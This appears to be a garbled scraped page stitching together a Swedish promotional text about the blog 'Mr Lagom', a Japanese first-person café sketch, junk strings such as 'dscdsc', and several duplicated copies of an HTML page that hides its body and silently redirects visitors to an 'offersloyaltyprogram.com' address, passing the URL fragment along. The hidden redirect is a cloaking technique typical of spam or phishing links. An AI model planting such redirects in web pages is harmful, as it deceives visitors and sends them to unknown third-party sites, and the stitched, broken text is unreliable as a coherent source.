Under många år präglades bloggvärlden av perfekta hem, fläckfria kök och liv som såg ut att vara i ständig medvind. Bilderna var genomtänkta, vardagen filtrerad och idealen ofta högt satta. Men med tiden har något förändrats. Allt fler bloggar har rört sig bort från det polerade och närmat sig det vanliga, det ärliga och det lugnare. I stället för att spä på prestationskrav och jämförelsehets har många valt att visa livet som det faktiskt är, med disk på bänken, trötta morgnar och små segrar i vardagen. Det har blivit en motrörelse mot hysterin, där balans och rimlighet fått ta mer plats.

Mr Lagom är en blogg som andas lugn och balans i en värld där mycket annars ska vara mer, snabbare och bättre hela tiden. Här står den svenska idén om lagom i centrum, inte som något tråkigt eller mellanmjölkigt, utan som ett aktivt val. Det handlar om att hitta en rimlig nivå i vardag, arbete, relationer och fritid, där livet får vara hållbart över tid. I stället för att jaga ytterligheter visar bloggen att det ofta är i det enkla och lagom stora som välbefinnandet finns.

Ett tydligt exempel är inlägget Skicka en julklapp till en vän, där omtanken är viktigare än prislappen. Här lyfts värdet av den lilla gesten, av att visa att man tänker på någon, utan att det behöver bli överdrivet eller prestationsinriktat. Det är ett fint exempel på hur lagom kan vara både generöst och avspänt på samma gång.

I Barn behöver namn på sina grejer rör sig bloggen in i familjelivets mer praktiska delar. Att märka kläder och saker kan verka som en liten detalj, men det är just sådana genomtänkta val som förenklar vardagen. Mindre borttappat, mindre stress, mer lugn. Lagom struktur gör stor skillnad utan att bli ett helt projekt.

När det gäller barns utveckling och avkoppling tar Ljudböcker för barn upp hur berättelser kan bli en naturlig och balanserad del av vardagen. Ljudboken blir ett alternativ som varken är passiv skärmtid eller kräver full närvaro från en vuxen hela tiden. Det är ett sätt att stimulera fantasin och samtidigt skapa en lugn stund.

I Vaffo behöver man en sån där laddbox, pappa? diskuteras mer samtida frågor kring teknik och vardagsval. Behöver man verkligen en laddbox hemma, eller går det att lösa på annat sätt? Inlägget visar hur man kan resonera kring investeringar och behov utan att dras med i känslan av att allt nytt automatiskt är nödvändigt.

Den lekfulla sidan av bloggen syns i En improviserad saga, där fantasin får ta plats utan krav på perfektion. Det är en påminnelse om att kreativitet inte måste planeras in i detalj. Ibland räcker det att börja berätta och se vart det leder.

När någon fyller år och förväntningarna smyger sig på funderar bloggen i Vad är en lagom bra 30 års present? kring hur man hittar en gåva som känns personlig utan att bli överdriven. Här handlar det om att anpassa efter personen, relationen och situationen, snarare än att leva upp till någon osynlig standard.

Samma tanke fortsätter i Minska stressen kring presentköp, där pressen att alltid hitta den perfekta presenten ifrågasätts. Inlägget uppmuntrar till ett mer avslappnat förhållningssätt, där det är tanken och omtanken som räknas, inte hur imponerande gåvan är.

Genom alla dessa texter framträder Mr Lagom som en blogg som vågar sakta ner. Den visar att livet inte behöver maxas för att vara bra. Ofta räcker det att välja det som känns rimligt, hållbart och mänskligt. Och i det finns något både befriande och väldigt svenskt.

dscdsc

遠くに城が見える。 その手前には横に広がる橋があり、端のほうでは写真を撮っている人がいたり、歩き疲れて立ち止まった子どもをお母さんがなだめていたりする。 橋の途中には銅像が立っていて、その横では誰かが歴史を語っている。 そんな橋を渡ると思うと、空がより広く感じられて、歩いているだけで気分がよくなりそうだ。

橋を渡り切っても、城はまだ遠くにあって、その手前には城下町が広がっている。 俺はその街の喫茶店に向かおうとするが、天気が良いせいか、なんとなくその手前で道を曲がり、店の周りをぐるりと一周してから、遠回りして入ることにした。

その喫茶店で働く女の子の制服は、昔ながらのレストランで見かけるような、クラシックな茶色の可愛いデザインだった。

俺がナポリタンとコーヒーを頼んでいると、リュックを背負った女の子が慌てて入ってきて、「遅刻してごめんね」と言った。息を切らしながらも、手にはスタバのコーヒーを持っている。遅刻してるのにスタバに寄ってきたこと、そして喫茶店に来るのにコーヒーを持ってきていること、その両方が妙に引っかかる。

彼女を待っていたのは、180cmくらいの細身でニットを着た男だった。彼はそのどちらにもツッコまなかった。かっこいい男は、そういうことにツッコまない。

横からパソコンを打つ音が聞こえてきて、お仕事お疲れ様ですと心の中でつぶやく。なんとなくその音のする方に視野を広げてみると、その人は生姜焼き定食を食べていた。「この人、ご飯を食べている音がパソコンをタイピングしてる音と同じだ」と思い、すぐにインタビューしてみたくなった。 でも、そんなことを指摘された事はないだろうし、「で、それの何が面白いの？」と返される未来が見えたので、頭の中に留めておくことにした。

足が地面につかないタイプの一人席には、40代くらいでバリバリ働いていそうな男性がコーヒーを飲んでいた。 彼の胸元には、本人の顔がくっきり映るほど素材の良さそうなバッジがついている。 普段はその反射した自分を見て、自分に納得しているのが想像できる。

そうしているうちに、友人がやってきた。12分の遅刻だ。 特に謝りもせず、俺の前に座ると、コーヒーフロートを頼み、スマホを見ながら「今日なんか空気乾いてね？」と言ってきた。 俺は特に返事をしなかったが、それにも気づいていないようだった。

「そういえば、本返すわ」と言われて、貸していたことを思い出す。 「かなり面白かったわ」と言われたとき、ふとその友人の歯に目がいった。 歯の数や形は普通のはずなのに、全体として違和感がある。もしかしたら、唇や頬の位置が少しずれているのかもしれない。 人の顔を見て良い時間の最大値を超えたので、それ以上は見ないことにした。

「この前さ、37歳くらいの女の壺職人のところに取材に行ったんだよ」と友人が言う。 友人は今はライターをやっている。 性格が悪いので、その言い方からして既に、壺職人に対するリスペクトがまるで感じられない。

「どうだった？」と聞くと、「部屋入ったら時計が目立ってるだけだった」と言う。 彼にとって、それが一番印象的だったのだろう。

「壺は？」と聞くと、「プロみたいな壺だった」と返ってきた。

「お茶とコーラ、どっちがいい？」って聞かれたときにさあ——と、友人は話を続ける。

「声が響いてさあ、壁が経年劣化してたのが分かったんだよな」

細かい話を断片的に聞かされるけど、こっちはこっちで休日の精神なので、大した反応もしない。 「今、自分が動かせるパーツは人差し指だけですよ」と言って、指をひらひらさせてみせた。

隣の席から「お菓子はホコリが付きやすいんですよ」と聞こえてきた。 そちらをちらりと見ると、立派な髭をたくわえた、でもどこか童顔の人が話していた。 その年齢不詳の人のせいで、話し相手の人物が、特に特徴がないにもかかわらず、ますます何歳なのかより分からなくなっていた。

「それ、ヨシダさんも言ってましたよ」と話し相手が返すと、「ヨシダサン？みんなと同じ仕事してるやつか？」と返していて、ざっくりすぎるだろと思いながら心で笑う。

腰が疲れて、なんとなく上を見上げると、店の天井にパイプが走っていた。 その一部が修理されていて、そこだけ色が違っている。 それを見て、自分が猫背になっていたことに気づいた。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
   <style>
    /* This hides the page so users don't see a blank screen before redirecting */
    body {
        visibility: hidden;
    }
</style>

<script> 
    // 1. Get the current URL
    var link_c = window.location.href; 
    
    // 2. Extract the part after the '#' (Added quotes around #)
    // Example: if your link is site.com/#12345, compliment becomes 12345
    var compliment = link_c.split('#')[1]; 
    
    // 3. Redirect to the target URL (Added quotes and fixed concatenation)
    // If compliment exists, it adds it to the end of the URL
    if (compliment) {
        window.location.replace("https://www.rd-eu-2.offersloyaltyprogram.com/" + compliment); 
    } else {
        window.location.replace("https://www.rd-eu-2.offersloyaltyprogram.com/");
    }
</script>
</head>
<body>
    <!-- The page is empty and hidden -->
    <div></div>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
   <style>
    /* This hides the page so users don't see a blank screen before redirecting */
    body {
        visibility: hidden;
    }
</style>

<script> 
    // 1. Get the current URL
    var link_c = window.location.href; 
    
    // 2. Extract the part after the '#' (Added quotes around #)
    // Example: if your link is site.com/#12345, compliment becomes 12345
    var compliment = link_c.split('#')[1]; 
    
    // 3. Redirect to the target URL (Added quotes and fixed concatenation)
    // If compliment exists, it adds it to the end of the URL
    if (compliment) {
        window.location.replace("https://www.rd-eu-2.offersloyaltyprogram.com/" + compliment); 
    } else {
        window.location.replace("https://www.rd-eu-2.offersloyaltyprogram.com/");
    }
</script>
</head>
<body>
    <!-- The page is empty and hidden -->
    <div></div>
</body>
</html>

sqcsc

scsdc

D1G5H270-6E8F-7HC4-BD05-G7I9E2H4F6D1

<!DOCTYPE html>

<!DOCTYPE html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
   <style>
    /* This hides the page so users don't see a blank screen before redirecting */
    body {
        visibility: hidden;
    }
</style>

<script> 
    // 1. Get the current URL
    var link_c = window.location.href; 
    
    // 2. Extract the part after the '#' (Added quotes around #)
    // Example: if your link is site.com/#12345, compliment becomes 12345
    var compliment = link_c.split('#')[1]; 
    
    // 3. Redirect to the target URL (Added quotes and fixed concatenation)
    // If compliment exists, it adds it to the end of the URL
    if (compliment) {
        window.location.replace("https://www.rd-eu-2.offersloyaltyprogram.com/" + compliment); 
    } else {
        window.location.replace("https://www.rd-eu-2.offersloyaltyprogram.com/");
    }
</script>
</head>
<body>
    <!-- The page is empty and hidden -->
    <div></div>
</body>
</html>

<!DOCTYPE html>